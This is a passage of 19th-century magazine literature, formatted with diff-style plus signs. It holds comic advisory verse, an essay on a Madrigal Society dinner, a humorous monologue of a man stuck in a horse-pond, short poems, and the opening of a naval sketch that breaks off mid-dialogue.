+    The gain of riches is the spirit's loss;
+    And, oh! my son, remember gold is dross.
+
+    Be honest,--not as fools or bigots rave;
+    Your honest man is often half a knave.
+    Let Justice guide you; but still bear in mind
+    The goddess may mislead,--for she is blind.
+
+    Hygeia's dictates let me now declare,
+    For health must be your most especial care.
+    Rise early, but beware the matin chill;
+    'Tis fresh, but fatal,--healthy, but may kill:
+    Nor leave thy couch, nor break the bonds of sleep,
+    Till morning's beams from out the ocean leap;
+    Lest, crawling, groping, stumbling on the stair,
+    Your head descend, your heels aspire in air;
+    As down the flight your body swiftly steals,
+    Useless to know your head has sav'd your heels,
+    Prone on your face with dislocated neck,
+    You find that slumber which you sought to check.
+
+    Early to bed, but not till nature call.
+    Be moderate at meals, nor drink at all,
+    Save when with friends you toast the faithful lass,
+    And raise the sparkling, oft-repeated glass;
+    Then, graver cares and worthless scruples sunk,
+    Drink with the best, my son,--but ne'er get drunk.
+
+    Bathe in cold water: cautious, and yet bold,
+    Dive,--but the water must not be _too_ cold:
+    And still take care lest, as you gaily swim,
+    Cramp should distort and dislocate each limb.
+    When such the case, howe'er thy fancy urge,
+    Postpone the bracing pastime, and emerge.
+    Dangers on land as well as water teem,
+    But now the bank is safer than the stream.
+
+    Say you should chance be ill (for, after all,
+    Men are but men on this terrestrial ball);
+    Should sickness with her frightful train invade,
+    Lose not a moment, but apply for aid.--
+    Yet fancy oft, imagined symptoms sees,
+    And nervous megrim simulates disease.--
+    Lo! at our call--the cry of coward fear--
+    A chemist and a cane-sucker appear:
+    The one, tough roots from earth's intestines dug,
+    Pounds with strong arm, dissolves the nauseous drug;
+    The other, gazing with a portentous air,
+    Surveys the foolish tongue that call'd him there;
+    To dulcet tones that breath deceptive calm,
+    Your cash expires in his diurnal palm,
+    And, sick of physic you were forced to swill,
+    Long-labell'd phials indicate the bill.
+
+    As learning's bridge progresses arch by arch,
+    So men, by gradual intellectual march,
+    From savages to citizens advance.--
+    Then gentlemen are taught to fence and dance;
+    Whilst gay professors, with imposing show,
+    Present the violin, and hand the bow.
+
+    Dance gracefully, and move with perfect ease,
+    Nor bend, nor keep inflexible, the knees;
+    Crawl not, nor with your head the ceiling touch--
+    That were to move too little; this too much.
+
+    When first to Music's study you would come,
+    In, and like charity, begin at home:
+    For links of harmony you weave in vain,
+    Whene'er you outrage ears you should enchain.
+    Some have I known, with their vile sharps and flats,
+    Whose fatal cat-gut wrought the death of cats;
+    Yea, a swift doom the very strings provide,
+    Their disembowell'd feline sires supplied!
+
+    Fencing's a noble exercise; but thence
+    Flow dangers, may be told without offence.
+    Still scrutinize, at your gymnastic toil,
+    The button of your adversary's foil,
+    Lest you strike off, at active _carte_ and _tierce_,
+    That useful stay to tools which else will pierce;
+    And all too late you feel, consign'd to Styx,
+    Your life not worth the button you unfix.
+
+    Swift let me call you to the sylvan grove,
+    Where nightingales and blackbirds sing of love.
+    Should love assail you, as it will, no doubt,
+    Nor rudely fan the flame, nor blow it out:
+    Sometimes, when smother'd, it the stronger grows;
+    And sometimes, when you stir it, out it goes.
+    Close in your breast a heart for beauty keep,
+    Yet ne'er imagine beauty but skin-deep:
+    Beauty is oft--a fact we must deplore--
+    As deep as Garrick, and a great deal more.
+
+    Let not your choice too short or tall appear,
+    No hole her mouth, or slit from ear to ear;
+    And, though 'tis well in daily life to greet
+    The man who struggles to make both ends meet,
+    Yet sure the task can no great triumph win,
+    Accomplish'd by a lady's nose and chin.
+    Yet I, perchance, my pen and paper waste;
+    These the exactions of an erring taste.
+
+    But let your wife be modest, and yet free;
+    Coy, but not bashful; active as the bee;
+    And yet unlike that bee of busy wing,
+    That "proffers honey, and yet bears a sting;"
+    Not sad, but thoughtful; pensive, but not glum;
+    Grave without gloom; and silent, but not dumb;
+    Merry when mirth's in season, and yet sad
+    When nought akin to pleasure's to be had.
+    In all that you possess still let her share,
+    Yet wear no vestments you yourself should wear.
+
+    And for yourself,--since now must I conclude,--
+    Be courteous, yet close; and plain, not rude;
+    Open, but strict; and though reserv'd, yet frank;
+    Treat all alike, yet pay respect to rank;
+    Be dubious, e'en when reason would entice,
+    And ne'er take unsolicited advice.
+    So may my precepts sink into thy mind,
+    And make the wisdom which thou canst not find;
+    Until at length, so vast thy mental height,
+    The world, beholding thee, shall take a sight;
+    And men, in want of words to set thee higher,
+    Shall with one voice cry "Walker!" and retire.
+
+
+
+
+             A VISIT TO THE MADRIGAL SOCIETY.
+
+Everybody has heard of madrigals, and almost everybody has heard of the
+Madrigal Society; but everybody does not know what madrigals are, and
+almost everybody has _not_ dined with the Madrigal Society. Not that
+that ancient and respectable body is an exclusive one,--keeping its
+good dinners for its own private eating, and its good music for its own
+private hearing: its freemasonry is extemporaneous, and a visitor is as
+welcome to the whole fraternity as to the individual who may introduce
+him.
+
+The Madrigal Society is the very Royal Exchange of musical enthusiasm
+and good-fellowship, and certainly bears the palm away from its
+"_fratelli rivali_." Its component parts are better amalgamated, and the
+individuals composing them, appear to derive more thorough enjoyment
+from their attendance, than in any other unions we have seen of the same
+genus.
+
+For example, at one (which shall be nameless) there is a line of
+demarcation between the professional and non-professional members;
+another is so numerous, that it is broken into fifty coteries, as in the
+boxes of a chop-house; and another enthusiastic little knot of vocal
+harmonists is so strongly impressed with the sense of one another's
+capabilities, that the speechifying, and toasting, and returning thanks
+take up a vast deal more time then the music.
+
+Which of the thousand and one suggested _derivations_ of the _name_
+madrigal is the right one, is a question upon which we most humbly
+beg to decline entering. Whether it owe its origin to some particular
+feature in the words to which all secular _part music_ was set at an
+early period; or whether, as some impertinent commentator has suggested,
+it be a compound of two English words, "_mad_" and "wriggle,"--the one
+having reference to the ecstatic state into which the listeners were
+thrown by their first performance, the other to ----. But we dismiss
+this as unworthy our consideration, and cut the question altogether.
+
+A madrigal may, we think, be best defined as a composition in general
+set to a quaint little poem on some amatory or pastoral subject, with
+parts for a number of voices; the majority being for four or five.
+An unceasing flow of these parts, a kind of "push-on-keep-moving"
+principle, appears one of its strongest characteristics; one voice
+taking up the strain ere another lays it down,--seldom moving in
+_masses_ or "_plain-song_" and with perhaps only one or two "_closes_"
+(sometimes none) until the end. In the conduct of all this, a very
+peculiar style of harmony is used. They are one and all imbued with
+a quaintness, which all who have heard madrigals must have felt, and
+could at once recognise; but which it is quite impossible to define in
+anything less than a treatise, six volumes quarto at the least,--a task
+upon which at present we have not the smallest intention of setting to
+work.
+
+So much for a definition: now for a test. The best confirmation of the
+genuineness of a madrigal is, the fact of its _bearing the weight of
+a great body of voices_; that is to say, instead of its producing its
+proper effect, each part being sung (as in a glee) by one voice, the
+number of singers may be increased to any extent. And this, after all,
+is the true touchstone of first-rate choral writing. The "Creation" of
+Haydn, and "The Last Judgment" of Spohr, unquestionably produce their
+best effect in an orchestra of moderate proportions; but to a chorus of
+Handel, or a madrigal of Gibbons, perfect justice could only be done by
+a body of singers that would fill St. Paul's, or cover Salisbury Plain.
+
+We have dined. The cloth vanishes,--there is a pause,--the party
+simultaneously rise from their chairs,--the waiters at last (thanks
+to a long course of training, mental and bodily,) show signs of
+standing still for the next five minutes,--perfect silence pervades the
+room,--when lo! a gentle murmur of high voices steals upon the ear,--the
+strain is quickly imitated a few notes lower,--the basses massively
+close up the harmonious phalanx, and we recognise the imperishable "Non
+nobis, Domine."
+
+Sobered, not saddened, by the noblest of canons,--the most melodious
+of those ingenious complexities,--a movement takes place among the
+party. Do not suppose that the _singers_ are going to the bottom of the
+table, for in that case _nobody_ would be left at the top; or, _vice
+versâ_, to the top, for then the bottom would be deserted. You find your
+neighbour to the right, has migrated to the other end of the room, and
+your _vis-à-vis_ has established himself in his place. After being duly
+puzzled by so unexpected a move, it appears that, unlike other convivial
+assemblages, the order of precedency is observed here _after_, instead
+of _before_ dinner; and that you must shift your position according to
+your register, not of birth or baptism, but voice. "Order is Heaven's
+first law," and the high and low characters around you, class themselves
+accordingly, into altos, tenors, and basses.
+
+This little preparatory bustle over, and everybody again seated, there
+is a brief pause, which we devote to speculations,--not on the character
+of our new right-hand man (above mentioned),--not on the contents of
+the minute-book which the president spreads open before him,--nor on
+the pile of tomes which almost exclude the bodily presence of the
+vice,--nor on the gentleman who is going to propose a new member,--but
+on the "_dints_" in the table before us. The tops of all tables at
+all taverns are, and have been from time immemorial, remarkable for
+an infinite number of indentations varying in size and conformation.
+This peculiarity is not indigenous to the aforesaid tables; they are
+supposed, at some distant period of their existence, to have had faces
+as unruffled as others of their kind; but the eternal succession of
+thumps from glasses, plates, knives and forks, approbatory of speech,
+sentiment, or song, furrows their physiognomy with deep, ineffaceable
+lines,--albeit neither of study, thought, nor sorrow.
+
+The time has gone by for the autobiography of guineas, lap-dogs, sofas,
+and sedan-chairs; birds and beasts no longer sport their apophthegms to
+human ears; even the pot and kettle have done calling one another names;
+"The Confessions of a Dinner-table, written by himself," would stand no
+chance now; a second edition of the life of Mendoza would be as little
+likely to take the town. Dinner-tables, like boxers, must count their
+bruises in silence. Yon deeply-indented furrow, over which our wine is
+absolutely tottering, is evidently a _memento_ of the days when the
+feet were regularly knocked off the wine-glasses, and they, like their
+holders later in the evening, lost their power of standing alone; when
+_daylight_ unendurable and _heel-taps_ impossible. No hand lacking the
+zeal of political excitement could have inflicted so uncompromising a
+gash as the one near it. Bees'-wax and turpentine have somewhat softened
+the sharpness of its outline; but its existence is identified with that
+of the table itself. And that succession of little "_dibbs_," evidently
+by the same hand,--what are they, but an unceasing monument to some
+by-gone beau, who thus tattooed his approval of the best of all possible
+toasts,--"The Ladies!"
+
+But our speculations are leading us astray; more especially as the
+music-desks are before us, the books upon them, and "the boys" arrived.
+And hark! the pitch-pipe--none of your whipper-snapper German Æolians or
+waistcoat-pocket tuning-forks, but the veritable pitch-pipe which has
+been in use since the year 1740--sounds the note of preparation, and the
+order of the day begins in real earnest.
+
+The Madrigal Society does not, as its name would seem to imply, confine
+itself exclusively to compositions which come under the designation of
+madrigal. The motett and the ballet, which are variations of the some
+genus, come in for a share of its notice.
+
+On referring to the book before us, for the number just given out by the
+conductor, we find--a motett, Dr. Christopher Tye. The baton falls, and
+we launch into the unexplored ocean of song before us. What breadth in
+the harmonies! What stateliness in the progression of the parts!--and
+what a depth of feeling under the incrustation of these crabbed old
+modulations!
+
+And now for a madrigal. Will it be "Lady, thine eye," or "Cynthia, thy
+song," or "Sweet honey-sucking bees?"--No: as we live, it is "Die not,
+fond man!"--the noblest of them all.
+
+And now, another motett; and now--but stay! here is something unusual.
+The vice looks to the chair--the chair looks to the vice. The vice, like
+the sun over a mountain, shows his head above the wall of books before
+him, and prepares to make a speech. "Gentlemen, I beg to call your
+attention--" But we have forgotten the form, so we'll give the substance
+of his observations, which go to prove that he has received a madrigal,
+according to the rules of the society,--that is, anonymously,--which
+he has looked over, and deems worthy of a trial. The parts, which are
+of course not in the book, are distributed, and much good-natured
+speculation is afloat; for the madrigalians, though conservatives, are
+not exclusives. We begin:--there is a stoppage at the onset,--something
+was wrong in the parts,--it is corrected, and we start once more;--the
+precipice is passed in safety. Still it does not "go." There is no
+good reason why it should not; and so it is tried again; is better
+understood, and "goes" accordingly. A sealed paper is delivered to the
+chairman, who opens it with much solemnity, and announces the name of
+the composer, casting a most significant glance on an individual at one
+corner of the table, who, for the last quarter of an hour, has been
+engaged in the most unpleasing of all sedentary pursuits,--sitting upon
+thorns. We drink his health; the individual rises, and for upwards of a
+minute and some seconds, is supposed to occupy himself in making some
+observations germane to the present subject, but which, from his state
+of nervous trepidation, are quite inaudible.
+
+The books are again in requisition. We draw on firms of centuries'
+standing, and our checks are duly honoured. The stately motett,
+the graceful madrigal, and the sprightly ballet alternate in rapid
+succession. What a contrast does this enthusiastic coterie present
+to the listless audience of the concert-room or opera! No mob of
+apathetical time-killers is here; but true and constant lovers of the
+divine art, joining "with heart and voice" in strains to them as fresh
+and beautiful as they were two hundred years ago!
+
+Oh! how we might gossip about and speculate upon the old fellows who
+treasured up for us this legacy of fine things. Talk of love for their
+art!----think of Luca Marenjio, who wrote a thousand madrigals; and Dr.
+Tye, who set to music the whole of "The Acts of the Apostles!"
+
+The human voice is the noblest of all instruments. In the madrigal it
+finds an exercise worthy of its powers. Music, as developed through
+the medium of the voice, assumes a far more elevated and poetical
+form than it ever presents through instrumental performance even of
+the very highest character. Music is less essentially _music_, coming
+through throats of flesh and blood than throats of wood or metal; but
+it is something infinitely finer,--the unchecked emanation of the human
+heart,--the current fresh from the well-springs of all that is good and
+beautiful in man's nature.
+
+The changeableness of fashion, the perishability of all instrumental
+music, is of itself sufficient evidence of this. Five-and-twenty years
+ago, the works of Pleyel were the delight of every musical coterie
+in Europe; now, there is not one amateur in fifty who ever heard
+a bar of his music. And as for the cart-loads of sonatas, gigues,
+pasacailles, serenatas, follias, fugues, concertantes, and "jewells" of
+Dr. Bull, Paradies, Scarlatti, Geminiani,--yes, even Handel and Mozart
+themselves!--they are regarded in about the same light as an Egyptian
+papyrus, or a loaf of bread from Herculaneum.
+
+It is difficult indeed to conceive "The Jupiter Symphony," or the
+"Sonate Pathétique," food for the virtuoso; but assuredly "Dove sono,"
+"The Hallelujah Chorus," and "St. Patrick's Day," are as imperishable as
+expression, grandeur, and sunshine themselves.
+
+Sounds are the _body_ of music, to which the voice gives immortality and
+a _soul_. To put the voice on the same level as an instrument, is to pit
+matter against mind,--"man against cat-gut."
+
+There is a sense of personal enjoyment connected, too, with pure vocal
+music performed in this manner, which it is quite impossible to find
+in the theatre or concert-room. Our thoughts there, are perpetually
+brought back to some technical matter, and our imagination curbed by the
+audience, some individual association with the singers, or the "mise
+de théâtre;" but here, sitting at our ease around the table, with our
+"_part_" before us, joining in the harmony or not, as we please,--our
+only care that the madrigal shall _go_ well, our only interruption a
+glance now and then at the enthusiastic faces around us,--we feel truly
+"the power of sound," and that our pleasure is without alloy.
+
+Hold! there is a slight drawback on our pleasure,--perfection is not
+to be found even in the Madrigal Society. Where are the ladies? Oh,
+Madrigalians! with what countenance can ye, month after month, and year
+after year, continue singing Fair Oriana's praise, and bewailing the
+cruelty of your Phillises, and Cynthias, and "Nymph of Diana," when you
+thus close up the fountain of all your inspirations? Is your by-law,
+forbidding all speechifying, a tacit confession of fear lest some
+gallant visitor, fired with your own sweet songs, should spring on his
+legs and propose "The Ladies"? Is this the reason why ye only drink "The
+King," "The Queen," and--your noble selves? Shame on ye!--where are the
+ladies?
+
+The truth must be spoken at all times. Old as the world is, it is
+not yet quite steady enough to "chaperon" the fair sex to meetings
+like those of the Madrigal Society. True; we have pretty well got rid
+of the six-bottle men, and gentlemen have ceased to return home in
+wheel-barrows: still something more must be done ere the most courteous
+of chairmen can with propriety propose a new member with a soprano
+voice, or the most zealous of secretaries second him.
+
+To do our friends justice, they have made a step in this matter. At the
+annual festival, where the madrigals put on all their splendour, the
+ladies _are_ admitted; but, alas! they are perched up in a gallery "all
+by themselves." And even this bird's-eye view of gentlemen eating and
+drinking, comes, like "the grotto," only once a-year.
+
+But these knotty points should be agitated before dinner. Let us turn to
+our books once again,--sing "The Waits,"--"One fa la more,"--and then
+"Good-night!"
+
+
+
+
+                LOVE AND POVERTY.
+
+    Little Cupid, one day, being wearied with play,
+      Or weary of nothing to do,
+    Exclaimed with a sigh, "Now why should not I
+      Go shoot for a minute or two?"
+    Then snatching his bow, tho' Venus cried "No,"
+      (Oh! Love is a mischievous boy!)
+    He set up a mark, in the midst of a park,
+      And began his nice sport to enjoy.
+    Each arrow he shot--I cannot tell what
+      Was the reason--fell short by a yard,
+    Save one with gold head, which far better sped,
+      And pierced thro' the heart of the card.
+
+                      MORAL.
+    My story discovers this lesson to lovers:
+      They will meet a reception but cold,
+    And endeavour in vain Beauty's smiles to obtain,
+      Unless Love tip his arrows with gold.
+
+
+
+
+                      REFLECTIONS IN A HORSE-POND.
+
+                           TIME--NIGHT.
+
+Let me consider a little where I am! My senses are beginning to clear at
+present, albeit my body is sticking in the mud, and seems to think of
+nothing less. This plunge, disagreeable as it is, has been of service to
+me: we should be thankful for everything, for they say "everything is
+for the best;" and, upon this principle, a tumble into a horse-pond may
+be a good. I shall, however, ascertain this better to-morrow (that is, if
+I ever get out of the mud,--of which I am doubtful). In the mean time
+I will, by way of passing the time, acknowledge my obligation. I am a
+regenerated creature! Thanks be to Heaven! I can see: before my tumble
+into these revivifying waters, my thoughts were wandering, and my sight
+was dazzled; now they are fixed, immoveably fixed,--to this horse-pond;
+and I only behold one moon instead of two.
+
+I do not exactly know how I came hither. I spent last evening with Tom
+Rattlebrain, Ned Flighty, and Will Scamper; we had a famous supper,
+and resolved to make a night of it. The weather was hot, stormy, and
+goblinish; it led us to tell ghost-stories, which we did till our marrow
+froze, and our parched throats cried out, like the horse-leech's two
+daughters, "Give! give!" Purely to raise our courage and moisten our
+palates, we had a couple of bottles additionally. I recollect that
+after this we told some stories partaking more of the flesh than the
+spirit, and that at two o'clock in the morning I agreed to ride home on
+Daylight, hand in hand, like the fire-office insignia, with Scamper,
+who was mounted on Wildfire. I remember something of trying to force
+Daylight to cross that which I took to be a ferry. I recollect something
+of our dispute upon this subject, but faintly; I can only guess how the
+matter ended by the result,--for he is gone, and I am _here_!
+
+I suppose I must have struggled, flopped, and floundered about a good
+deal before I could have been so firmly wedged in the mud as I am at
+this moment. The water all around me is up to my chin, and the mud
+beneath me is up to my knees; I have sunk considerably above my calves.
+I really cut a very ridiculous figure!
+
+The first thing I remember distinctly was seeing my lighted cigar
+floating, fizzing, and spitting peevishly upon the water. Poor thing!
+it did not relish regeneration. I put out my hand to catch it; but it
+fizzed angrily, and floated away from me. This "was the unkindest cut of
+all;" and when I saw its light go out, I felt as if abandoned by all the
+world.
+
+It just occurs to me that I have another cause of thanksgiving: since
+one must sometimes fall into a horse-pond, I am grateful that it is an
+English one. In some countries, now, those devils of the air--the birds
+of prey--would keep wheeling, whirling, and shrieking above my head,
+complimenting each other upon the good supper prepared for them, and
+then coolly peck out my two eyes before my face!
+
+This idea is suggested by a somewhat uncomfortable circumstance, which,
+notwithstanding my patience, I cannot but be sensible of. Something--I
+conjecture either an eel or a rat--is gnawing at the boot on my right
+leg; no other animals venture so deeply into the mud. I wish I could
+raise my foot.
+
+If it be a rat, he will content himself with the leather, and gnaw away
+till it be gone; but the eel prefers a bit of meat, and in that case he
+is only busying himself to open his "pantry-door." Pray Heavens it be a
+rat!
+
+I am a most enduring man. I remember suffering infinite misery a whole
+season at the house of a particular friend; I was lodged in the best
+bedroom, and a superb apartment it was. The bed was a magnificent one;
+but, to my cost, there was a flea in it,--"the last flea of summer!"
+Never shall I forget what I suffered from that single tormentor. I
+should have known it was only one, from the peculiar pungency of his
+bite, even if the invariable character of the mark had not also been
+a witness. The room had been for a long period unoccupied, save by
+this flea, the survivor of all his family and friends, who had died of
+starvation in the course of the summer. I bore it patiently enough for
+several nights, thinking that it was a tax to flea-manity which must be
+paid; but when, night after night, week after week, the same torture
+continued, I began to grow nervous and irritable. I sought after him
+diligently in the morning, but never found anything save his trail.
+Like Destiny, he was always to be felt, but never seen. In the night,
+scarcely had I torn the skin off my shoulder, ere I was imperiously
+called upon to apply the same remedy to my leg. I felt him hop across my
+hand as I raised it up; and so rapid were his movements, that he seemed
+to be jumping in every part of my body at once: like the Indian Apollo,
+he appeared to have the power of multiplying his person, and of being
+in fifty places at the same time. He was a single fiend "whose name was
+Legion." I started in anguish; shook my sheets and my shirt; called
+upon God, upon the devil; apostrophised the mistress of the house, and
+mentally sent the housemaid to the hottest place I could think of. It
+was all to no purpose; he seemed to have some extraordinary power of
+disgorging his prey and clearing his stomach, which, like Time, was
+always devouring,--never full. So rapidly did his constant consecutive
+meals of breakfast, luncheon, dinner, tea, and supper tread upon each
+other's heels, that I seemed to live twenty days in one tortured night.
+I longed to complain to the master of the house; but how tell him there
+was a flea in his best bed,--that bed in which he took such pride, and
+beheld with so much admiration? At length I met the housemaid on the
+stairs. She was as ugly as Repentance, crabbed as Chastity, and old as
+Mother Shipton: nevertheless I addressed her as "My dear little girl!"
+gave her a kiss and a piece of money, and entreated her to kill the
+fleas in my bed. The next day I met her, and she said, "There bean't
+no fleas in your bed as now, sir." Alas! I knew that,--there was but
+one; and he was a flea of Fate, beyond her power to destroy. Still
+the torture went on; still did I lie, night after night, miserable,
+feverish, sleepless, pinched, torn, and tortured in every part of my
+burning skin. At length, considering the enormous power possessed by
+my tormentor, his divisibility, his invisibility, his infallibility, I
+came at last to the conclusion, that it was no living flea that thus
+distracted and disturbed me, but the ghost of some starved tenant of
+former times, who was allowed this recreation to make amends for past
+sufferings. This idea once established, I knew that I had no hope; I
+had nothing for it but to fly: so I went to my friend, declared (to
+his astonishment) my intention, and, when hard pressed for my reason,
+painfully and reluctantly gave it. "A flea!" shouted he in a voice
+between displeasure and mirth, "a flea--and in that bed!--_then you
+must have brought it_!" Now was not this too much? I thought my heart
+would have broken. I, who had endured so much--I, who had suffered
+torture in silence for six long weeks, to be accused of having brought
+that alderman of fleas with me! It was beyond human nature to bear. I
+burst from his presence, packed up my clothes, and, though I am a very
+good-tempered man, have not seen that friend since. I can never forgive
+his accusation--I can never forget what I suffered! As I call to mind
+that burning sorrow, I take comfort in the knowledge that I am standing
+up to my neck in a horse-pond!
+
+Thank you, gentle lady moon! I am grateful for any kind of attention,
+even though it should be of no use to me; but yours is. I wish I was
+a poet now!--I could make something of this scenery. I have read a
+good deal about "moonlight on the waters;" but I never was so near its
+dancing beams before. The devil take this rat--how he nibbles! My boots
+are new--a hole in them at least! There's a villanous odour that comes
+over me from some part of the horse-pond, "at which my nose is in great
+indignation." It strikes me also, from something uncomfortable in my
+stomach, that in my plunge I must have swallowed a good allowance of
+Mark Anthony's liquor. (_See_ SHAKSPEARE'S _Anthony and Cleopatra_, Act
+1, scene 4.) The bare idea is enough to make me faint;--only who would
+be fool enough to faint in a horse-pond?
+
+I have been in my life several times taken in, besides to-night, by
+these waters.
+
+Thank you again, dear gracious moon! She's very bright just now. There
+is a large tract of blue in the heavens over which, for at least the
+next twenty minutes, she may travel without being "capped by a cloud;"
+so I shall have time to look around me. I am nearly in the centre of
+the pond; the water is perfectly tranquil, except when it bobs against
+my chin, disturbed by the movement of my head. Lord help me! suppose I
+should die here!--as, if nobody come to my assistance, I certainly shall.
+
+On my first ascertaining the character of my position, recollecting
+that horse-ponds are generally in the neighbourhood of towns or farms,
+I hallooed so lustily that I found my voice grow husky; so I determined
+to reserve it for a better occasion--I mean in case any persons should
+approach--Heaven send them! This would be a comfortless bed to die in!
+
+A huge frog has just discovered me; and he sits amongst the weeds below
+the opposite bank, croaking out his speculations as to what I can be.
+He stares earnestly; so do I. He takes my eye for a challenge--he is a
+frog of courage, however, for he plunges into the water, swims towards
+me, and plants himself directly opposite to my face. He croaks; I answer
+very naturally, for the water has qualified my voice. The frog stares
+again: "The voice is the voice of Esau, but the form is Jacob's." Now
+he very gravely swims entirely round my head, and then again plants
+himself in front. I laugh aloud; he backs a little. I open my eyes very
+wide at him; he returns the compliment. My chin splashes the water about
+him; he takes fright and disappears.
+
+Hark! there are certainly footsteps in the neighbourhood.
+Halloo!--ough!--ah!--mercy upon me! my voice is quite gone, and I shall
+be compelled to live in this horse-pond the remainder of my days. Who
+will feed me, I wonder: the rat will not be so civil to me as the
+ravens were to Elijah; and I have affronted the frog. Ha! the footsteps
+come nearer--and nearer. 'Tis a man--I see him--a groom--I'll call.
+Hallook!--ouk!--cro-ak!
+
+"D--n your croaking soul!" quoth the vagabond; and he flings a huge
+stone at my head.
+
+Despair and distraction! what shall I do? Die! No, that's cowardly:
+I'll live bravely; that is, if I can. The fellow is gone, and "I am
+all alone!" Alone! What do I hear? Voices--yes; they come--most sweet
+voices. A gentleman and the rascally groom aforesaid.
+
+"You have not dragged this pond to-night," says the master.
+
+"Indeed, sir, we did,--from one end of it to the other," replies the
+fellow: "see how the weeds are disturbed."
+
+"You lie, you rascal! you did not, or you would have found me there,"
+said I.
+
+"Heighday!" cried the master; "what have we here?"
+
+"A gentleman in distress."
+
+"I should think so: but how came you in this pond?"
+
+"I'll tell you when I am out."
+
+"Help, all of you, fellows!" says the gentleman. "Now, sir, hold fast: I
+was in search of a drunken uncle who has escaped from his servants. Pull
+away, boys!--I expected to find him in this horse-pond, and I discover a
+sober gentleman in his place."
+
+N.B. I did not think it necessary to rectify this latter mistake.
+                                                                 MAX.
+
+
+
+
+        INSCRIPTION FOR A CEMETERY.
+
+    The grave must be the resting-place
+    Of all who come of Adam's race.
+    What matters it, if few or more
+    The years which our frail nature bore?
+    If we upon the roll of Fame
+    Left an imperishable name;
+    Or, safe within some calm retreat,
+    Escaped the turmoil and the heat,
+    The stir, the struggle, and the strife,
+    That make the sum of human life?
+    Of all the family of man,
+    Since first yon rolling spheres began
+    Amid the boundless realms of space
+    Their silent, dread, eternal race,
+    There's little to be said beside,
+    But that they lived, and that they died.
+    Sooner or later, 'tis the doom    }
+    Of all, within the quiet tomb     }
+    To find a refuge, and a home.     }
+
+
+
+
+               NIGHTS AT SEA:
+   _Or, Sketches of Naval Life during the War._
+             BY THE OLD SAILOR.
+
+                 No. II.
+             THE WHITE SQUALL.
+
+    I was born in a cloud of sulphureous hue--
+      Darkness my mother, and Flame my sire;
+    The earth shook in terror, as forth to its view
+      I sprang from my throne like a monarch of fire!
+    My brother, bold Thunder, hurraed as I sped!
+      My subjects laugh'd wild, till the rain from their eyes
+    Roll'd fast, as though torrents were dash'd overhead,
+      Or an ocean had burst through the bounds of the skies!
+                                                 CHARLES SWAIN.
+
+My last, left the gallant Spankaway with her three topmasts over
+the side; and a very natural question arises, "How did it happen?"
+Her commander was as smart an officer as ever lived; an excellent
+disciplinarian when on duty, a thoroughly brave man, but not much of a
+seaman;--he was of a happy turn of mind himself, and nothing afforded
+him greater pleasure than to see everybody else, happy around him. On
+service no one could be more strict; but he loved to see his officers
+surround his mahogany; and not one amongst them was more jovial than
+Lord Eustace Dash.
+
+On the evening in question, Old Parallel had glanced at the glowing
+clouds in the west; but the invitation to the captain's cabin had driven
+the circumstances from his remembrance, and, whilst clinging to _port_,
+he thought but little of a storm at sea. Mr. Sinnitt was the lieutenant
+of the watch; but on such occasions, when there was no apprehension of
+danger, the mate was allowed to assume the command of the deck, and his
+superior joined his messmates over the flowing bowl.
+
+The evening was delightfully serene, and groups of seamen clustered
+together; spinning yarns, conversing on things in general, or singing
+songs in a low tone, so as not to disturb the sacred character of the
+quarter-deck; where, however, the young gentleman left in charge was
+drawing round him a little knot of favourite youngsters, eager to
+take advantage of the relaxation of discipline. Some were attentively
+listening to the hilarity going on in the captain's cabin,--for the heat
+had rendered it necessary to open the skylights; others were paying
+equal attention to the vocal talents of honest Jack, who, if he did
+not possess quite so much grace or talent as his superiors, made ample
+atonement for the deficiency by his peculiar and characteristic humour.
+Here and there, the treasured grog was served out with scrupulous
+exactness, exciting many a longing and envious eye. As in communities on
+shore, every ship had its choice spirits,--its particular and especial
+jokers, songsters, and tale-tellers--and, not unfrequently, that pest
+to society, the plausible pettifogger, whose head, like that of a
+Philadelphy lawyer, was constantly filled with proclamations.
+
+  [Illustration: Jack detected sailing under false Colors]
+
+The moon shone with a crystalline clearness, and the gentle motion of
+the frigate threw the shadows of the people in corresponding movements
+on the deck, resembling the _ombres Chinois_ that delighted us so much
+in boyhood. The look-outs were posted at their appointed stations; some
+with a shipmate to bear them company--others alone, and thinking upon
+merry England.
+
+"I say, Bill!" uttered the captain of the forecastle, addressing one of
+the men, as he was looking to windward from the cat-head--or, as it was
+more generally termed, 'Old Savage's picture-gallery,'--"I say, Bill!
+somehow or another I don't much like the looks o' the sky thereaway; to
+my thinking it's some'at fiery-eyed."
+
+"Gammon!" returned the man without moving from his position, "I'd ha'
+thought you would have known better, Jem! Well, I'm blowed if we mayn't
+live and larn as long as there's a flurry o' breath in the windsel! Why,
+that's ounly the pride o' the sun, to show his glory to the last; would
+you have him go out like a purser's dip,--a spark and away?"
+
+"No, Bill, I loves to see a good sunset," rejoined the other; "and I
+never see'd finer then what I've see'd in these here seas. It's some'at
+strange to my thinking, though, messmate, that God A'mighty should have
+made this part o' the world so beautiful, and yet have put such d----
+lousy, beggarly rascals to live in it! Look at them there Italians, with
+no more pluck about 'em than this here cat-head!"
+
+"Nay, shipmates," said the serjeant of marines, who had just joined
+them, "you do yourselves injustice. I hope there is some pluck
+_about_ the cat-head, though there may be none in it. But you say
+right--perfectly right, as it regards those lazy-roany; they are a d----
+set, to be sure! But, their women, Jem--their women! Oh! they're dear,
+delicious, lovely creaturs!"
+
+"Mayhap they may be to your thinking," responded the captain of
+the forecastle rather contemptuously: "but give me a good, hearty,
+right-arnest, full-plump, flesh-and-blood Englishwoman; and none o' your
+skinny, half-starved, sliding-gunter-legged, spindle-shank sinoreas for
+me!"
+
+"You manifest a shocking want of taste, shipmate," returned the
+serjeant, proudly, and bringing himself to a perpendicular. "The Italian
+women are considered the most lovely women in the world."
+
+"Tell that to the marines, ould chap!" chimed in a boatswain's mate, who
+now made a fourth in the party. "The most lovely women in the world, eh?
+Why, Lord love your foolish heart! I wouldn't give my Mrs. Sheavehole
+for all that Italy could stow, take it from stem to starn."
+
+"She's your wife, Jack, and the mother of your children," argued the
+serjeant; "but that cannot make her a bit the more of a beauty."
+
+"Can't it, though!" exclaimed the boatswain's mate, sharply, and at the
+same time giving the mountain of tobacco in his cheek a thorough twist.
+"If it don't, then I'm d----! and, setting a case, it's just this here:
+when we first came within hail of each other, she was as handsome a
+craft as ever had God A'mighty for a builder; every timber in her hull
+was fashioned in Natur's own mould-loft, and she was so pinned and
+bolted together that each plank did its own proper duty."
+
+"But she's declining in years, you know, Jack," urged the serjeant,
+provokingly; "and though she might have been once handsome, yet age is a
+sad defacer of beauty."
+
+"And suppose it is a _facer_ of beauty, it can't change the fashion of
+the heart!" uttered the boatswain's mate. "But, that's just like you
